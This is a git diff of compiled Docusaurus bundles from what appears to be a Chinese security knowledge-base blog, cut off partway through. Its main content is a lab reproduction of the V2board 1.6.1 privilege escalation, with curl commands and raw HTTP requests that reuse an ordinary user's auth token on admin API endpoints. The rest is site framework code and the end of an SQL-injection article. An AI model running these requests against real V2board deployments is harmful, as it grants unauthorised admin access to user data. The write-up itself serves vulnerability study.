,(0,d.jsx)(n.li,{children:"\u4f7f\u7528\u901a\u7528\u9632\u6ce8\u5165\u7cfb\u7edf\uff0c\u6216\u8005\u90e8\u7f72WAF\u7b49\u3002"}),"\n"]}),"\n",(0,d.jsx)(n.h2,{id:"\u9776\u573a",children:"\u9776\u573a"}),"\n",(0,d.jsxs)(n.ul,{children:["\n",(0,d.jsxs)(n.li,{children:["\n",(0,d.jsx)(n.p,{children:(0,d.jsx)(n.a,{href:"https://github.com/digininja/DVWA",children:"DVWA"})}),"\n"]}),"\n",(0,d.jsxs)(n.li,{children:["\n",(0,d.jsx)(n.p,{children:(0,d.jsx)(n.a,{href:"https://github.com/Audi-1/sqli-labs",children:"sqli-labs"})}),"\n"]}),"\n"]}),"\n",(0,d.jsx)(n.h2,{id:"\u53c2\u8003",children:"\u53c2\u8003"}),"\n",(0,d.jsxs)(n.ul,{children:["\n",(0,d.jsxs)(n.li,{children:["\n",(0,d.jsx)(n.p,{children:(0,d.jsx)(n.a,{href:"https://blog.nowcoder.net/n/be73b8f592504ae8b1d00368433061be",children:"\u6df1\u5165\u7406\u89e3SQL\u6ce8\u5165\u4e0e\u9884\u7f16\u8bd1\uff08\u4e0b\uff09_\u725b\u5ba2\u535a\u5ba2 (nowcoder.net)"})}),"\n"]}),"\n",(0,d.jsxs)(n.li,{children:["\n",(0,d.jsx)(n.p,{children:(0,d.jsx)(n.a,{href:"https://blog.gm7.org/%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/01.%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/02.WEB%E6%BC%8F%E6%B4%9E/01.SQL%E6%B3%A8%E5%85%A5/",children:"SQL\u6ce8\u5165 \xb7 d4m1ts \u77e5\u8bc6\u5e93"})}),"\n"]}),"\n"]})]})}function x(e={}){const{wrapper:n}={...(0,i.R)(),...e.components};return n?(0,d.jsx)(n,{...e,children:(0,d.jsx)(t,{...e})}):t(e)}}}]); \ No newline at end of file diff --git a/en/assets/js/a7456010.fc07457b.js b/en/assets/js/a7456010.fc07457b.js new file mode 100644 index 0000000..123909e --- /dev/null +++ b/en/assets/js/a7456010.fc07457b.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[1235],{88552:s=>{s.exports=JSON.parse('{"name":"docusaurus-plugin-content-pages","id":"default"}')}}]); \ No newline at end of file diff --git a/en/assets/js/a7af69da.a04260c2.js b/en/assets/js/a7af69da.a04260c2.js new file mode 100644 index 0000000..2144281 --- /dev/null +++ b/en/assets/js/a7af69da.a04260c2.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[4176],{28453:(e,n,i)=>{i.d(n,{R:()=>r,x:()=>c});var t=i(96540);const s={},l=t.createContext(s);function r(e){const n=t.useContext(l);return t.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function c(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(s):e.components||s:r(e.components),t.createElement(l.Provider,{value:n},e.children)}},86487:(e,n,i)=>{i.r(n),i.d(n,{assets:()=>d,contentTitle:()=>c,default:()=>p,frontMatter:()=>r,metadata:()=>t,toc:()=>o});const t=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/V2board/privilege-escalation-1.6","title":"privilege-escalation-1.6","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/02.\u6f0f\u6d1e\u590d\u73b0/02.V2board/01.privilege-escalation-1.6.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/02.\u6f0f\u6d1e\u590d\u73b0/02.V2board","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/V2board/privilege-escalation-1.6","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/V2board/privilege-escalation-1.6","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/02.\u6f0f\u6d1e\u590d\u73b0/02.V2board/01.privilege-escalation-1.6.md","tags":[],"version":"current","sidebarPosition":1,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"CVE-2022-38352","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/Thinkphp/CVE-2022-38352"},"next":{"title":"TrojanPanel\u672a\u6388\u6743\u6dfb\u52a0\u7528\u6237","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/Trojanpanel/TrojanPanel\u672a\u6388\u6743\u6dfb\u52a0\u7528\u6237"}}');var s=i(74848),l=i(28453);const r={},c=void 0,d={},o=[{value:"\u6f0f\u6d1e\u73af\u5883",id:"\u6f0f\u6d1e\u73af\u5883",level:2},{value:"\u6f0f\u6d1e\u590d\u73b0",id:"\u6f0f\u6d1e\u590d\u73b0",level:2}];function a(e){const n={a:"a",blockquote:"blockquote",code:"code",del:"del",h2:"h2",img:"img",li:"li",p:"p",pre:"pre",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,l.R)(),...e.components};return(0,s.jsxs)(s.Fragment,{children:[(0,s.jsxs)(n.table,{children:[(0,s.jsx)(n.thead,{children:(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,s.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,s.jsx)(n.tbody,{children:(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"left"},children:(0,s.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"2025-08-19 16:47:37"})]})})]}),"\n",(0,s.jsxs)(n.blockquote,{children:["\n",(0,s.jsx)(n.p,{children:(0,s.jsx)(n.del,{children:"\u65e0\u610f\u4e2d\u53d1\u73b0\u4e00\u4e2a\u673a\u573a\u7684\u7ba1\u7406\u7aef\u6709\u8fd9\u4e2a\u8d8a\u6743\u6f0f\u6d1e\u6240\u4ee5\u7b80\u5355\u590d\u73b0\u4e00\u4e0b"})}),"\n"]}),"\n",(0,s.jsx)(n.p,{children:"V2board\u662f\u4e00\u4e2a\u591a\u7528\u6237\u4ee3\u7406\u5de5\u5177\u7ba1\u7406\u9762\u677f\u3002\u5728\u51761.6.1\u7248\u672c\u4e2d\uff0c\u5f15\u5165\u4e86\u5bf9\u4e8e\u7528\u6237Session\u7684\u7f13\u5b58\u673a\u5236\uff0c\u670d\u52a1\u5668\u4f1a\u5c06\u7528\u6237\u7684\u8ba4\u8bc1\u4fe1\u606f\u50a8\u5b58\u5728Redis\u7f13\u5b58\u4e2d\u3002"}),"\n",(0,s.jsx)(n.p,{children:"\u4f46\u7531\u4e8e\u8bfb\u53d6\u7f13\u5b58\u65f6\u6ca1\u6709\u6821\u9a8c\u8be5\u7528\u6237\u662f\u666e\u901a\u7528\u6237\u8fd8\u662f\u7ba1\u7406\u5458\uff0c\u5bfc\u81f4\u666e\u901a\u7528\u6237\u7684\u8ba4\u8bc1\u4fe1\u606f\u5373\u53ef\u8bbf\u95ee\u7ba1\u7406\u5458\u63a5\u53e3\uff0c\u9020\u6210\u63d0\u6743\u6f0f\u6d1e\u3002"}),"\n",(0,s.jsx)(n.p,{children:"\u53c2\u8003\u94fe\u63a5\uff1a"}),"\n",(0,s.jsxs)(n.ul,{children:["\n",(0,s.jsx)(n.li,{children:(0,s.jsx)(n.a,{href:"https://github.com/v2board/v2board/commit/5976bcc65a61f7942ed4074b9274236d9d55d5f0",children:"https://github.com/v2board/v2board/commit/5976bcc65a61f7942ed4074b9274236d9d55d5f0"})}),"\n"]}),"\n",(0,s.jsx)(n.h2,{id:"\u6f0f\u6d1e\u73af\u5883",children:"\u6f0f\u6d1e\u73af\u5883"}),"\n",(0,s.jsxs)(n.ul,{children:["\n",(0,s.jsx)(n.li,{children:(0,s.jsx)(n.a,{href:"https://github.com/vulhub/vulhub/tree/master/v2board/1.6-privilege-escalation",children:"V2board 1.6.1 Privilege Escalation"})}),"\n"]}),"\n",(0,s.jsx)(n.h2,{id:"\u6f0f\u6d1e\u590d\u73b0",children:"\u6f0f\u6d1e\u590d\u73b0"}),"\n",(0,s.jsx)(n.p,{children:"\u53ef\u4ee5\u4ece\u53c2\u8003\u8fde\u63a5\u4e2d\u627e\u5230\u4e00\u4e2a\u9274\u6743\u7684\u76f8\u5173\u4fe1\u606f\uff0c\u4ece\u7f13\u5b58\u4e2d\u62ff\u5230\u8ba4\u8bc1\u540e\u5e76\u6ca1\u6709\u505a\u9274\u6743\uff0c\u6240\u4ee5\u4e00\u4e2a\u7528\u6237\u7684session \u53ef\u4ee5\u53bb\u8bbf\u95ee\u6240\u4ee5\u63a5\u53e3\u3002"}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191647523.png",alt:"image-20230129144621914"})}),"\n",(0,s.jsx)(n.p,{children:"\u590d\u73b0\u8be5\u6f0f\u6d1e\uff0c\u5fc5\u987b\u6ce8\u518c\u6216\u627e\u5230\u4e00\u4e2a\u666e\u901a\u7528\u6237\u8d26\u53f7\u3002\u6ce8\u518c\u5b8c\u6210\u540e\uff0c\u6211\u4eec\u53d1\u9001\u5982\u4e0b\u8bf7\u6c42\u8fdb\u884c\u767b\u5f55\uff08\u5c06\u5176\u4e2d\u8d26\u53f7\u5bc6\u7801\u66ff\u6362\u6210\u4f60\u6ce8\u518c\u65f6\u4f7f\u7528\u7684\u4fe1\u606f\uff09\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:'curl -i -s -X POST -d "email=test2%40test.com&password=12345678&invite_code=&email_code=" http://192.168.182.1:18080/api/v1/passport/auth/register\n'})}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191647524.png",alt:"image-20230129150322091"})}),"\n",(0,s.jsx)(n.p,{children:"\u6ce8\u518c\u5b8c\u6210\u540e\uff0c\u9009\u62e9\u767b\u5f55\u4f1a\u8fd4\u56deauth_data"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:'curl -i -s -X POST -d "email=test%40test.com&password=12345678" http://192.168.182.1:18080/api/v1/passport/auth/login\n'})}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191647525.png",alt:"image-20230129145843609"})}),"\n",(0,s.jsxs)(n.p,{children:["\u62f7\u8d1d\u8fd9\u4e2a\u8ba4\u8bc1\u4fe1\u606f\uff0c\u5e76\u66ff\u6362\u5230\u5982\u4e0b\u6570\u636e\u5305\u7684",(0,s.jsx)(n.code,{children:"Authorization"}),"\u5934\u4e2d\uff0c\u53d1\u9001\uff1a"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:"GET /api/v1/user/info HTTP/1.1\nHost: 192.168.182.1:18080\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36\nAccept: */*\nAuthorization: dGVzdEB0ZXN0LmNvbTokMnkkMTAkMFFNMzBEcXJvSkNwbGprSng1MEE0dUlsdjZTQmpqVlpnNVRzT0NaY215ZTMub2dsSGlwNnk\nConnection: close\n\n"})}),"\n",(0,s.jsx)(n.p,{children:"\u6216\u8005"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-bash",children:'curl -i -s -X GET -H "Authorization: dGVzdEB0ZXN0LmNvbTokMnkkMTAkMFFNMzBEcXJvSkNwbGprSng1MEE0dUlsdjZTQmpqVlpnNVRzT0NaY215ZTMub2dsSGlwNnk" http://192.168.182.1:18080/api/v1/user/info\n'})}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191647526.png",alt:"image-20230129150050396"})}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191647527.png",alt:"image-20230129150811848"})}),"\n",(0,s.jsx)(n.p,{children:"\u5199\u5165\u540e\uff0c\u5e26\u7740\u8fd9\u4e2aauth \u53bb\u8bf7\u6c42Admin\u7684Api\u5373\u53ef"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:"GET /api/v1/admin/user/fetch HTTP/1.1\nHost: 192.168.182.1:18080\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36\nAccept: */*\nAuthorization: dGVzdEB0ZXN0LmNvbTokMnkkMTAkMFFNMzBEcXJvSkNwbGprSng1MEE0dUlsdjZTQmpqVlpnNVRzT0NaY215ZTMub2dsSGlwNnk\nConnection: close\n\n"})}),"\n",(0,s.jsx)(n.p,{children:"\u6216\u8005"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-curl",children:'curl -H "Authorization: dGVzdEB0ZXN0LmNvbTokMnkkMTAkMFFNMzBEcXJvSkNwbGprSng1MEE0dUlsdjZTQmpqVlpnNVRzT0NaY215ZTMub2dsSGlwNnk" -i -s -X GET http://192.168.182.1:18080/api/v1/admin/user/fetch\n'})}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191647528.png",alt:"image-20230129150731716"})}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191647529.png",alt:"image-20230129150723125"})})]})}function p(e={}){const{wrapper:n}={...(0,l.R)(),...e.components};return n?(0,s.jsx)(n,{...e,children:(0,s.jsx)(a,{...e})}):a(e)}}}]); \ No newline at end of file diff --git a/en/assets/js/a7bd4aaa.0fd773fc.js b/en/assets/js/a7bd4aaa.0fd773fc.js new file mode 100644 index 0000000..1daac95 --- /dev/null +++ b/en/assets/js/a7bd4aaa.0fd773fc.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[7098],{31723:(n,e,s)=>{s.r(e),s.d(e,{default:()=>d});s(96540);var r=s(45500);function o(n,e){return`docs-${n}-${e}`}var t=s(23025),i=s(22831),c=s(41463),l=s(74848);function a(n){const{version:e}=n;return(0,l.jsxs)(l.Fragment,{children:[(0,l.jsx)(c.A,{version:e.version,tag:o(e.pluginId,e.version)}),(0,l.jsx)(r.be,{children:e.noIndex&&(0,l.jsx)("meta",{name:"robots",content:"noindex, nofollow"})})]})}function u(n){const{version:e,route:s}=n;return(0,l.jsx)(r.e3,{className:e.className,children:(0,l.jsx)(t.n,{version:e,children:(0,i.v)(s.routes)})})}function d(n){return(0,l.jsxs)(l.Fragment,{children:[(0,l.jsx)(a,{...n}),(0,l.jsx)(u,{...n})]})}}}]); \ No newline at end of file diff --git a/en/assets/js/a94703ab.3c1f8928.js b/en/assets/js/a94703ab.3c1f8928.js new file mode 100644 index 0000000..0153436 --- /dev/null +++ b/en/assets/js/a94703ab.3c1f8928.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[9048],{23363:(e,t,n)=>{n.d(t,{A:()=>l});n(96540);var a=n(34164),i=n(21312),o=n(51107),s=n(74848);function l({className:e}){return(0,s.jsx)("main",{className:(0,a.A)("container margin-vert--xl",e),children:(0,s.jsx)("div",{className:"row",children:(0,s.jsxs)("div",{className:"col col--6 col--offset-3",children:[(0,s.jsx)(o.A,{as:"h1",className:"hero__title",children:(0,s.jsx)(i.A,{id:"theme.NotFound.title",description:"The title of the 404 page",children:"Page Not Found"})}),(0,s.jsx)("p",{children:(0,s.jsx)(i.A,{id:"theme.NotFound.p1",description:"The first paragraph of the 404 page",children:"We could not find what you were looking for."})}),(0,s.jsx)("p",{children:(0,s.jsx)(i.A,{id:"theme.NotFound.p2",description:"The 2nd paragraph of the 404 page",children:"Please contact the owner of the site that linked you to the original URL and let them know their link is broken."})})]})})})}},78115:(e,t,n)=>{n.r(t),n.d(t,{default:()=>ke});var a=n(96540),i=n(34164),o=n(45500),s=n(17559),l=n(44718),r=n(60609),c=n(21312),d=n(23104),u=n(75062);const m={backToTopButton:"backToTopButton_sjWU",backToTopButtonShow:"backToTopButtonShow_xfvO"};var b=n(74848);function h(){const{shown:e,scrollToTop:t}=function({threshold:e}){const[t,n]=(0,a.useState)(!1),i=(0,a.useRef)(!1),{startScroll:o,cancelScroll:s}=(0,d.gk)();return(0,d.Mq)(({scrollY:t},a)=>{const o=a?.scrollY;o&&(i.current?i.current=!1:t>=o?(s(),n(!1)):t{e.location.hash&&(i.current=!0,n(!1))}),{shown:t,scrollToTop:()=>o(0)}}({threshold:300});return(0,b.jsx)("button",{"aria-label":(0,c.T)({id:"theme.BackToTopButton.buttonAriaLabel",message:"Scroll back to top",description:"The ARIA label for the back to top button"}),className:(0,i.A)("clean-btn",s.G.common.backToTopButton,m.backToTopButton,e&&m.backToTopButtonShow),type:"button",onClick:t})}var p=n(53109),x=n(56347),j=n(24581),f=n(6342),g=n(23465);function v(e){return(0,b.jsx)("svg",{width:"20",height:"20","aria-hidden":"true",...e,children:(0,b.jsxs)("g",{fill:"#7a7a7a",children:[(0,b.jsx)("path",{d:"M9.992 10.023c0 .2-.062.399-.172.547l-4.996 7.492a.982.982 0 01-.828.454H1c-.55 0-1-.453-1-1 0-.2.059-.403.168-.551l4.629-6.942L.168 3.078A.939.939 0 010 2.528c0-.548.45-.997 1-.997h2.996c.352 0 .649.18.828.45L9.82 9.472c.11.148.172.347.172.55zm0 0"}),(0,b.jsx)("path",{d:"M19.98 10.023c0 .2-.058.399-.168.547l-4.996 7.492a.987.987 0 01-.828.454h-3c-.547 0-.996-.453-.996-1 0-.2.059-.403.168-.551l4.625-6.942-4.625-6.945a.939.939 0 01-.168-.55 1 1 0 01.996-.997h3c.348 0 .649.18.828.45l4.996 7.492c.11.148.168.347.168.55zm0 0"})]})})}const _="collapseSidebarButton_PEFL",k="collapseSidebarButtonIcon_kv0_";function A({onClick:e}){return(0,b.jsx)("button",{type:"button",title:(0,c.T)({id:"theme.docs.sidebar.collapseButtonTitle",message:"Collapse sidebar",description:"The title attribute for collapse button of doc sidebar"}),"aria-label":(0,c.T)({id:"theme.docs.sidebar.collapseButtonAriaLabel",message:"Collapse sidebar",description:"The title attribute for collapse button of doc sidebar"}),className:(0,i.A)("button button--secondary button--outline",_),onClick:e,children:(0,b.jsx)(v,{className:k})})}var C=n(65041),S=n(89532);const T=Symbol("EmptyContext"),N=a.createContext(T);function I({children:e}){const[t,n]=(0,a.useState)(null),i=(0,a.useMemo)(()=>({expandedItem:t,setExpandedItem:n}),[t]);return(0,b.jsx)(N.Provider,{value:i,children:e})}var y=n(41422),B=n(99169),L=n(28774),w=n(92303),E=n(16654),M=n(43186);const H="menuExternalLink_NmtK",P="linkLabel_WmDU";function G({label:e}){return(0,b.jsx)("span",{title:e,className:P,children:e})}function W({item:e,onItemClick:t,activePath:n,level:a,index:o,...r}){const{href:c,label:d,className:u,autoAddBaseUrl:m}=e,h=(0,l.w8)(e,n),p=(0,E.A)(c);return(0,b.jsx)("li",{className:(0,i.A)(s.G.docs.docSidebarItemLink,s.G.docs.docSidebarItemLinkLevel(a),"menu__list-item",u),children:(0,b.jsxs)(L.A,{className:(0,i.A)("menu__link",!p&&H,{"menu__link--active":h}),autoAddBaseUrl:m,"aria-current":h?"page":void 0,to:c,...p&&{onClick:t?()=>t(e):void 0},...r,children:[(0,b.jsx)(G,{label:d}),!p&&(0,b.jsx)(M.A,{})]})},d)}const R="categoryLink_byQd",D="categoryLinkLabel_W154";function U({collapsed:e,categoryLabel:t,onClick:n}){return(0,b.jsx)("button",{"aria-label":e?(0,c.T)({id:"theme.DocSidebarItem.expandCategoryAriaLabel",message:"Expand sidebar category '{label}'",description:"The ARIA label to expand the sidebar category"},{label:t}):(0,c.T)({id:"theme.DocSidebarItem.collapseCategoryAriaLabel",message:"Collapse sidebar category '{label}'",description:"The ARIA label to collapse the sidebar category"},{label:t}),"aria-expanded":!e,type:"button",className:"clean-btn menu__caret",onClick:n})}function F({label:e}){return(0,b.jsx)("span",{title:e,className:D,children:e})}function V(e){return 0===(0,l.Y)(e.item.items,e.activePath).length?(0,b.jsx)(Y,{...e}):(0,b.jsx)(K,{...e})}function Y({item:e,...t}){if("string"!=typeof e.href)return null;const{type:n,collapsed:a,collapsible:i,items:o,linkUnlisted:s,...l}=e,r={type:"link",...l};return(0,b.jsx)(W,{item:r,...t})}function K({item:e,onItemClick:t,activePath:n,level:o,index:r,...c}){const{items:d,label:u,collapsible:m,className:h,href:p}=e,{docs:{sidebar:{autoCollapseCategories:x}}}=(0,f.p)(),j=function(e){const t=(0,w.A)();return(0,a.useMemo)(()=>e.href&&!e.linkUnlisted?e.href:!t&&e.collapsible?(0,l.Nr)(e):void 0,[e,t])}(e),g=(0,l.w8)(e,n),v=(0,B.ys)(p,n),{collapsed:_,setCollapsed:k}=(0,y.u)({initialState:()=>!!m&&(!g&&e.collapsed)}),{expandedItem:A,setExpandedItem:C}=function(){const e=(0,a.useContext)(N);if(e===T)throw new S.dV("DocSidebarItemsExpandedStateProvider");return e}(),I=(e=!_)=>{C(e?null:r),k(e)};!function({isActive:e,collapsed:t,updateCollapsed:n,activePath:i}){const o=(0,S.ZC)(e),s=(0,S.ZC)(i);(0,a.useEffect)(()=>{(e&&!o||e&&o&&i!==s)&&t&&n(!1)},[e,o,t,n,i,s])}({isActive:g,collapsed:_,updateCollapsed:I,activePath:n}),(0,a.useEffect)(()=>{m&&null!=A&&A!==r&&x&&k(!0)},[m,A,r,k,x]);return(0,b.jsxs)("li",{className:(0,i.A)(s.G.docs.docSidebarItemCategory,s.G.docs.docSidebarItemCategoryLevel(o),"menu__list-item",{"menu__list-item--collapsed":_},h),children:[(0,b.jsxs)("div",{className:(0,i.A)("menu__list-item-collapsible",{"menu__list-item-collapsible--active":v}),children:[(0,b.jsx)(L.A,{className:(0,i.A)(R,"menu__link",{"menu__link--sublist":m,"menu__link--sublist-caret":!p&&m,"menu__link--active":g}),onClick:n=>{t?.(e),m&&(p?v?(n.preventDefault(),I()):I(!1):(n.preventDefault(),I()))},"aria-current":v?"page":void 0,role:m&&!p?"button":void 0,"aria-expanded":m&&!p?!_:void 0,href:m?j??"#":j,...c,children:(0,b.jsx)(F,{label:u})}),p&&m&&(0,b.jsx)(U,{collapsed:_,categoryLabel:u,onClick:e=>{e.preventDefault(),I()}})]}),(0,b.jsx)(y.N,{lazy:!0,as:"ul",className:"menu__list",collapsed:_,children:(0,b.jsx)(Z,{items:d,tabIndex:_?-1:0,onItemClick:t,activePath:n,level:o+1})})]})}const z="menuHtmlItem_M9Kj";function q({item:e,level:t,index:n}){const{value:a,defaultStyle:o,className:l}=e;return(0,b.jsx)("li",{className:(0,i.A)(s.G.docs.docSidebarItemLink,s.G.docs.docSidebarItemLinkLevel(t),o&&[z,"menu__list-item"],l),dangerouslySetInnerHTML:{__html:a}},n)}function O({item:e,...t}){switch(e.type){case"category":return(0,b.jsx)(V,{item:e,...t});case"html":return(0,b.jsx)(q,{item:e,...t});default:return(0,b.jsx)(W,{item:e,...t})}}function Q({items:e,...t}){const n=(0,l.Y)(e,t.activePath);return(0,b.jsx)(I,{children:n.map((e,n)=>(0,b.jsx)(O,{item:e,index:n,...t},n))})}const Z=(0,a.memo)(Q),J="menu_SIkG",X="menuWithAnnouncementBar_GW3s";function $({path:e,sidebar:t,className:n}){const o=function(){const{isActive:e}=(0,C.M)(),[t,n]=(0,a.useState)(e);return(0,d.Mq)(({scrollY:t})=>{e&&n(0===t)},[e]),e&&t}();return(0,b.jsx)("nav",{"aria-label":(0,c.T)({id:"theme.docs.sidebar.navAriaLabel",message:"Docs sidebar",description:"The ARIA label for the sidebar navigation"}),className:(0,i.A)("menu thin-scrollbar",J,o&&X,n),children:(0,b.jsx)("ul",{className:(0,i.A)(s.G.docs.docSidebarMenu,"menu__list"),children:(0,b.jsx)(Z,{items:t,activePath:e,level:1})})})}const ee="sidebar_njMd",te="sidebarWithHideableNavbar_wUlq",ne="sidebarHidden_VK0M",ae="sidebarLogo_isFc";function ie({path:e,sidebar:t,onCollapse:n,isHidden:a}){const{navbar:{hideOnScroll:o},docs:{sidebar:{hideable:s}}}=(0,f.p)();return(0,b.jsxs)("div",{className:(0,i.A)(ee,o&&te,a&&ne),children:[o&&(0,b.jsx)(g.A,{tabIndex:-1,className:ae}),(0,b.jsx)($,{path:e,sidebar:t}),s&&(0,b.jsx)(A,{onClick:n})]})}const oe=a.memo(ie);var se=n(75600),le=n(22069);const re=({sidebar:e,path:t})=>{const n=(0,le.M)();return(0,b.jsx)("ul",{className:(0,i.A)(s.G.docs.docSidebarMenu,"menu__list"),children:(0,b.jsx)(Z,{items:e,activePath:t,onItemClick:e=>{"category"===e.type&&e.href&&n.toggle(),"link"===e.type&&n.toggle()},level:1})})};function ce(e){return(0,b.jsx)(se.GX,{component:re,props:e})}const de=a.memo(ce);function ue(e){const t=(0,j.l)(),n="desktop"===t||"ssr"===t,a="mobile"===t;return(0,b.jsxs)(b.Fragment,{children:[n&&(0,b.jsx)(oe,{...e}),a&&(0,b.jsx)(de,{...e})]})}const me={expandButton:"expandButton_TmdG",expandButtonIcon:"expandButtonIcon_i1dp"};function be({toggleSidebar:e}){return(0,b.jsx)("div",{className:me.expandButton,title:(0,c.T)({id:"theme.docs.sidebar.expandButtonTitle",message:"Expand sidebar",description:"The ARIA label and title attribute for expand button of doc sidebar"}),"aria-label":(0,c.T)({id:"theme.docs.sidebar.expandButtonAriaLabel",message:"Expand sidebar",description:"The ARIA label and title attribute for expand button of doc sidebar"}),tabIndex:0,role:"button",onKeyDown:e,onClick:e,children:(0,b.jsx)(v,{className:me.expandButtonIcon})})}const he={docSidebarContainer:"docSidebarContainer_YfHR",docSidebarContainerHidden:"docSidebarContainerHidden_DPk8",sidebarViewport:"sidebarViewport_aRkj"};function pe({children:e}){const t=(0,r.t)();return(0,b.jsx)(a.Fragment,{children:e},t?.name??"noSidebar")}function xe({sidebar:e,hiddenSidebarContainer:t,setHiddenSidebarContainer:n}){const{pathname:o}=(0,x.zy)(),[l,r]=(0,a.useState)(!1),c=(0,a.useCallback)(()=>{l&&r(!1),!l&&(0,p.O)()&&r(!0),n(e=>!e)},[n,l]);return(0,b.jsx)("aside",{className:(0,i.A)(s.G.docs.docSidebarContainer,he.docSidebarContainer,t&&he.docSidebarContainerHidden),onTransitionEnd:e=>{e.currentTarget.classList.contains(he.docSidebarContainer)&&t&&r(!0)},children:(0,b.jsx)(pe,{children:(0,b.jsxs)("div",{className:(0,i.A)(he.sidebarViewport,l&&he.sidebarViewportHidden),children:[(0,b.jsx)(ue,{sidebar:e,path:o,onCollapse:c,isHidden:l}),l&&(0,b.jsx)(be,{toggleSidebar:c})]})})})}const je={docMainContainer:"docMainContainer_TBSr",docMainContainerEnhanced:"docMainContainerEnhanced_lQrH",docItemWrapperEnhanced:"docItemWrapperEnhanced_JWYK"};function fe({hiddenSidebarContainer:e,children:t}){const n=(0,r.t)();return(0,b.jsx)("main",{className:(0,i.A)(je.docMainContainer,(e||!n)&&je.docMainContainerEnhanced),children:(0,b.jsx)("div",{className:(0,i.A)("container padding-top--md padding-bottom--lg",je.docItemWrapper,e&&je.docItemWrapperEnhanced),children:t})})}const ge={docRoot:"docRoot_UBD9",docsWrapper:"docsWrapper_hBAB"};function ve({children:e}){const t=(0,r.t)(),[n,i]=(0,a.useState)(!1);return(0,b.jsxs)("div",{className:ge.docsWrapper,children:[(0,b.jsx)(h,{}),(0,b.jsxs)("div",{className:ge.docRoot,children:[t&&(0,b.jsx)(xe,{sidebar:t.items,hiddenSidebarContainer:n,setHiddenSidebarContainer:i}),(0,b.jsx)(fe,{hiddenSidebarContainer:n,children:e})]})]})}var _e=n(23363);function ke(e){const t=(0,l.B5)(e);if(!t)return(0,b.jsx)(_e.A,{});const{docElement:n,sidebarName:a,sidebarItems:c}=t;return(0,b.jsx)(o.e3,{className:(0,i.A)(s.G.page.docsDocPage),children:(0,b.jsx)(r.V,{name:a,items:c,children:(0,b.jsx)(ve,{children:n})})})}}}]); \ No newline at end of file diff --git a/en/assets/js/ab82a0e4.4ce4d838.js b/en/assets/js/ab82a0e4.4ce4d838.js new file mode 100644 index 0000000..335f3c3 --- /dev/null +++ b/en/assets/js/ab82a0e4.4ce4d838.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[3732],{2266:(e,t,n)=>{n.r(t),n.d(t,{assets:()=>c,contentTitle:()=>l,default:()=>h,frontMatter:()=>i,metadata:()=>s,toc:()=>d});const 